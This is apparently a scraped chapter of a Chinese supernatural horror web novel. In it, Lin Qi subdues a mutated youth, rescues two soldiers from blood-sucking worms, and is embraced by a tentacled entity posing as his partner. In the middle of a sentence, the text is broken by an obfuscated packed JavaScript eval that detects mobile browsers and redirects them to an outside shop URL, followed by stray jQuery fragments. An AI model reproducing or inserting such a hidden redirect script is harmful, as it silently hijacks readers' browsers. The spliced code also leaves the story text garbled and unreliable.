4. 第四章
作品:《祂不是我的丈夫》 然而想象中血腥的场景并没有出现,就在口水要滴到林歧肩膀的刹那,少年只觉脖子一冷,下一秒,一股强大的力量死死地钳制住他的脖颈。
眼珠僵硬地转动,他看过去。
那是一双修长的手,指甲修得圆润整齐,看起来斯文而无害,此刻正卡在他喉咙上。
倏然用力。
强大的冲击力将他狠狠地掼在墙上,撞出了一个巨大的凹陷。
“砰!”
卢卡斯目瞪口呆。
他甚至怀疑眼前的一切是他失血过多产生的错觉。
他眼前斯斯文文,看起来更像是文职人员的黑发男人居然如此轻易地控制住了那个怪物?
浓郁的恶臭扑面而来,混杂着血腥味,如同和野兽面面相对。
林岐皱眉。
G-3级?
不,不是。
污染物根据污染程度被划分了从G-1到G-5五个等级,数字越小意味着污染程度越高,眼前的少年还没有沦为G-4级那种全无理智的怪物,但身体的强化程度又达不到G-3级。
少年笑嘻嘻地,目光贪婪地在林岐的手腕上流转,“你杀不死我的。”
虽然惊讶于林岐的速度,但少年被药物破坏的大脑里充盈着团团雾气,他只是垂涎地吸溜了一下口水。
耗尽林岐的体力,再吃掉他。
像从前任何一次品尝食物那样。
只听嘎巴一声脆响,少年人的脑袋以一个极其扭曲的角度扭动,张口就去咬林岐近在咫尺的手臂。
他的下颚极其夸张地裂开,沾满黏腻唾液的黑紫牙齿一览无余,连喉咙都看的清清楚楚,他的眼珠被挤压得向外凸出,内里的游丝律动得更加疯狂,因为离得太近,林岐看得见他牙缝里腐败的碎肉。
好脏。
尖牙几乎要贴上青年的手腕。
旋即——痛楚瞬间蔓延全身,感染体只觉身体猛地腾空,小腹处传来阵阵剧痛,半秒后,他轰然坠地,后脑狠狠地撞在墙上!
“噼里啪啦!”
实验室内的桌子被他砸得四分五裂。
感染体舔了一下唇角的血,他迅速地从地上爬起,断裂的肋骨随着行动咔咔作响。
将他掀翻在地的男人就站在不远处。
走廊内幽暗的荧光棒照得林歧面容轮廓极度分明,冰冷,又白皙精美,宛如镀上了一层瓷合金。
少年僵硬地转动了一下脑袋,脸上依旧挂着癫狂的笑容,“只是这种程度而已吗?”
一个没经过改造的人类想杀他,简直是痴人说梦!
他冲向林岐,男人却抬手按住了什么。
“咔——”
地面传来轻微震动,两扇厚重的门在他面前轰然关闭。
感染体脚步一停不停,砰地一下撞上门上的强化玻璃。
他的五官被挤压得变形,朝林岐露出了个无比狰狞的笑容。
他嘴唇夸张地张开,在玻璃上留下一道道模糊的血痕。
他说:“等我出去,就杀了你。”
林岐微微笑了下,低头在控制板上迅速地输入了什么,结束后看向卢卡斯,后者还是一副呆若木鸡的表情。
“下士?”
卢卡斯如梦初醒,他一下回神,看向林岐的眼神可谓崇敬。
“是!”
伴随着他的回答,机械的声音响彻整个实验室,“真空程序启动中,预计完成时间,七十三分钟。”
卢卡斯面对向他走来的林岐下意识绷直了身体,腿上的伤疼得他面容扭曲了下,“您您您您是?”
“我是军部派来支援贵方的人。”林岐回答,他朝卢卡斯伸出手,后者犹豫地扶住。
林岐的掌心温热而干燥,被薄薄的茧子覆盖,是纯粹的,活人的触感。
交叠处源源不断传来的体温令卢卡斯紧绷的神经忍不住放松。
他不敢结结实实地贴近,因为林歧肩膀看起来虽然宽阔,但并不是壮硕的类型。
下一秒,他就被林岐利落地撑起。
卢卡斯一惊,他大半身体的重量都压在对方身上,他身材高壮,还戴着十斤的战术装备,可眼前的青年却连眉头都没皱一下。
“谢谢。”卢卡斯有些脸红,由衷地说。
林岐笑,“我们是友军。”
面前的男人眉眼深邃,不笑时看起来难以亲近高不可攀,可唇角上扬时,那种冷淡的距离感却一下消失了,令人情不自禁地想要亲近。
卢卡斯的脸更红了。
林岐半拖半扛地将人往地下广场带,他步伐稳健,且相当快。
“救命……”
卢卡斯耳朵动了动。
什么声音?
“救救我……”
含糊的嗓音沙哑混杂着风声,呜呜咽咽,极其可怖。
“什么人?”卢卡斯立刻警惕。
林岐思索了几秒。
他还没来得及开口,卢卡斯已经看到了被拷在石柱上,还在微弱挣扎的玩意。
卢卡斯眼仁猛地缩紧。
那是个高大的东西,血淋淋的,此刻好像好像承受了极大的痛苦,勉强看出形状的躯体抽动着。
不,不是那东西在抽动,而是包裹着那玩意的水母蠕虫在蠕动,令躯体呈现出一种还能动的错觉。
林岐终于想起来了,“诱饵。”
卢卡斯瞪大眼睛,“什么?!”
在虫子交叠的缝隙中,卢卡斯看见了一双熟悉的眼睛,伊森的眼睛!
卢卡斯这辈子都不会忘记伊森的绿眼睛,因为正是这双眼睛的主人在自己救了他之后,当着卢卡斯的面关闭了安全通道,而他们都知道,那个怪物就在跟在后面蓄势待发。
林岐扶着卢卡斯向前走。
越往前,卢卡斯看得越清楚。
他的胃里瞬间一阵翻腾。
伊森浑身上下都被水母蠕虫包裹了,这是一种柔软黏腻虫子,圆溜溜的,周身泛着浅肉色,半透明,仔细观察能看见其中的脏器,形似放大版更消瘦纤长的蛆虫。
此刻这些虫子正快乐地在伊森身上游弋,蠕虫没有牙齿,只能拿尾部的小小尖刺刺破皮肤,小口小口地吸血。
肉色的身体因为吃饱变得肥嘟嘟的,看上去马上要爆开,在人身上爬来爬去,看上去更恶心了。
水母蠕虫饱餐后会在食物内部□□产卵,不过通常需要五十小时。
“伊森?”卢卡斯吞了下口水。
伊森拼命睁开肿胀的眼睛,眼中闪过一丝怨毒。
他吃力地张开嘴,“救,救我。”
一行眼泪顺着他凹凸不平的面部流淌。
卢卡斯攥紧了拳头。
即使伊森差点害死他,但他现在已经受到了生不容死的惩罚,更何况,身为副队长的卢卡斯不能忍受任何一个小队成员死在自己面前。
感受到他们身上的气息,水母蠕虫一下子活跃起来,气势汹汹地向他们爬来。
林岐无暇去管卢卡斯想法,他单手捡起地上的火焰喷—射—器,毫不犹豫地按动。
三千度的高温一下将虫子烤得薄脆,汁水飞快地流逝,立刻碳化。
“噼里啪啦!”
空气中瞬间弥漫起一股烤蛋白质的香气。
在他清理四周时,卢卡斯已经吃力地从战术包中摸出一管抗蠕虫疫苗,插进伊森的大腿。
他身体剧烈地抽搐了几下,那些蠕动的东西很快失去了活力,蔫蔫地滞留在皮下。
林岐一手扶起卢卡斯,另一只手抓住伊森,将他直接拖到了电梯上。
电梯再度启动。
“咔嚓——”
当阳光撒在脸上时,卢卡斯条件反射地闭了下眼睛,在地下的五个小时他体会过最漫长的经历,他几乎要以为,他会永远留在黑暗的地下,成为水母蠕虫产卵的工具。
看到两个队员被带上来,卡斯帕立刻道:“快,把卢卡斯和格林送上医疗车!”
虽然不知道在地下发生了什么,不过看伊森浑身肿胀,爬满死蠕虫的样子,卡洛斯不想了解细情。
他望向林岐的眼神中多了几分连他自己都没有觉察到的敬畏。
“卡洛斯队长,我需要您彻底关闭基地,基地内关着一个疑似G-3等级的污染物,等氧气耗尽后它会死亡。”
G-3级别污染物?
卡斯帕吃了一惊,普通人能碰到水母蠕虫概率都极低,更何况是第三等级的人形污染物,那是身体经过大幅度强化,但神经系统遭到破坏的怪物,已经不能称之为人了。
卡斯帕想到自己队伍里受伤的二十人,忽地感到无比庆幸。
幸好没有人员死亡。
“是!”他情不自禁地敬了个军礼,“今天真是多谢您。”
不过,一个想法在卡斯帕脑海中闪过,为什么林岐安然无恙?
如果他撞见了G-3污染物,他是怎么全身而退还把卢卡斯打出来的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013276|194160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果他没碰见污染物,他如何能断定那就是G-3等级?
林岐轻轻拍了拍卡斯帕的肩膀,语气平和,“这一切都要归功于行动小组队员的强大,精诚合作,还有,”他看着装着伊森的隔离仓被抬上车,“互助精神,我不过起到了一点仪式性的作用。”
卡斯帕愕然地看着林岐,“阁下。”
“还有,如果伊森先生的家人有任何问题,请让他们直接来找我。”林岐继续说。
卡斯帕心头发烫:“……是!”
在现场处理完毕后,林岐和其他队员一起回到了异种控制医院,明久葳也在这家医院——这可是离军部大楼最近的医院。
随着信号恢复,几道消息迅速涌入林岐的端脑,他点开了距离现在时间最近的一条,“阁下,”医生战战兢兢的声音响起,“明先生失踪了。”
林岐一下坐直。
明久葳又不见了?
他直接联系医生,对面立刻接通了,林岐的声音发沉,“监控查看过了吗?”
医生结结巴巴地说:“查看过了,但是当时监控受到了干扰,我们没能获得任何有效信息,抱歉林阁下,这是我们院方的失职。”
明久葳能去哪?
他离开后,林歧面无表情,还会回来吗?
林岐看着自己的手,他的手指上不知何时蹭到了一点污染物的血,浅浅的紫色,缓慢地侵蚀着表皮。
散发着股腐败的腥臭。
林岐厌恶地拿纸巾擦去了残血,即便处理得很迅速,他的掌心还是留下了轻微的腐蚀痕。
“阁下?”医生看着林岐的表情,小心翼翼地开口。
林岐回神,“我先回去看一下现场。”
……
此刻。
地下幽暗如深海。
却有一道黑影灵敏地穿梭在残破的隧道内。
“咔——”
实验室的门被从外面打开了。
少年不可置信地望着立在门口的高大身影,旋即所有情绪都被贪婪的食欲所取代。
一道送上门的美味。
剧烈地喘了两口气,维持着少年形态的怪物弓起背,蓄势待发。
“嗯?”
是黑影先出声了。
“食物”疑惑地开口,“你身上,怎么有我的小羊的味道?”
下一秒,无数的阴影自身影脚下疯狂蔓延,将他整个包裹。
“!”少年精神一震,浑浑噩噩的大脑如同被雷劈开,久违的恐惧再度蔓延全身。
“怪,怪物!”这是他说的最后一句话。
因为下一秒,触手就拧断了他的喉咙。
“那你就去死吧。”古怪的东西模仿着人类的语调,阴冷得如同海底坚冰,伴随着他话音落下,巨蛇一般触手卷曲用力,令人牙酸的“嘎吱嘎吱”声不绝于耳,如同骨头被碾碎的爆响,又似是血肉被搅碎后外溢的黏腻响动。
触手吮吸着满地狼藉。
祂们的主人仰起头,细长的舌尖贪婪地舔舐了一下空气中的余味。
小歧,不在这里了。
……
回到医院后,林岐立刻匆匆赶往病房。
在拉开门的瞬间,属于深海的、幽冷的、带着几分腥甜腐败的香气扑面而来。
浓郁得林岐几乎要感到窒息。
在诡魅甜蜜得几乎行形成实质的香气后,林岐看到了一个人影。
属于明久葳的身影。
高挑的男人一把抱住林岐的腰,他就像是没有骨骼一般,严丝合缝地贴上了林岐的身体。
胸口相撞。
林岐感受得到,明久葳那缓慢而滞重的心跳。
林歧身体一僵,下意识想要离开这个让他头皮发麻的怀抱,但明久葳似乎早就预料到了他的想法,一下扣住了林岐的后颈,迫使他低下头。
“我好想念您。”青年甜蜜地说。
高挺的鼻被牢牢压在明久葳的肩膀,一瞬间,馥郁的香气灌满鼻腔。
“窸窸窣窣——”
林岐猛地一震。
明久葳却按着他的后颈,不让他抬头。
男人投下的影子扭曲变形,污秽的黑暗贪婪地向林岐的身体蔓延,蠢蠢欲动。
明久葳一只手搂着林岐的腰,“您想念我吗?”
浓郁的暗影向林岐蜿蜒,试探地,伸出一根纤细的触须,轻轻地缠绕上林岐的脚踝。
呀。
抓住你了……!

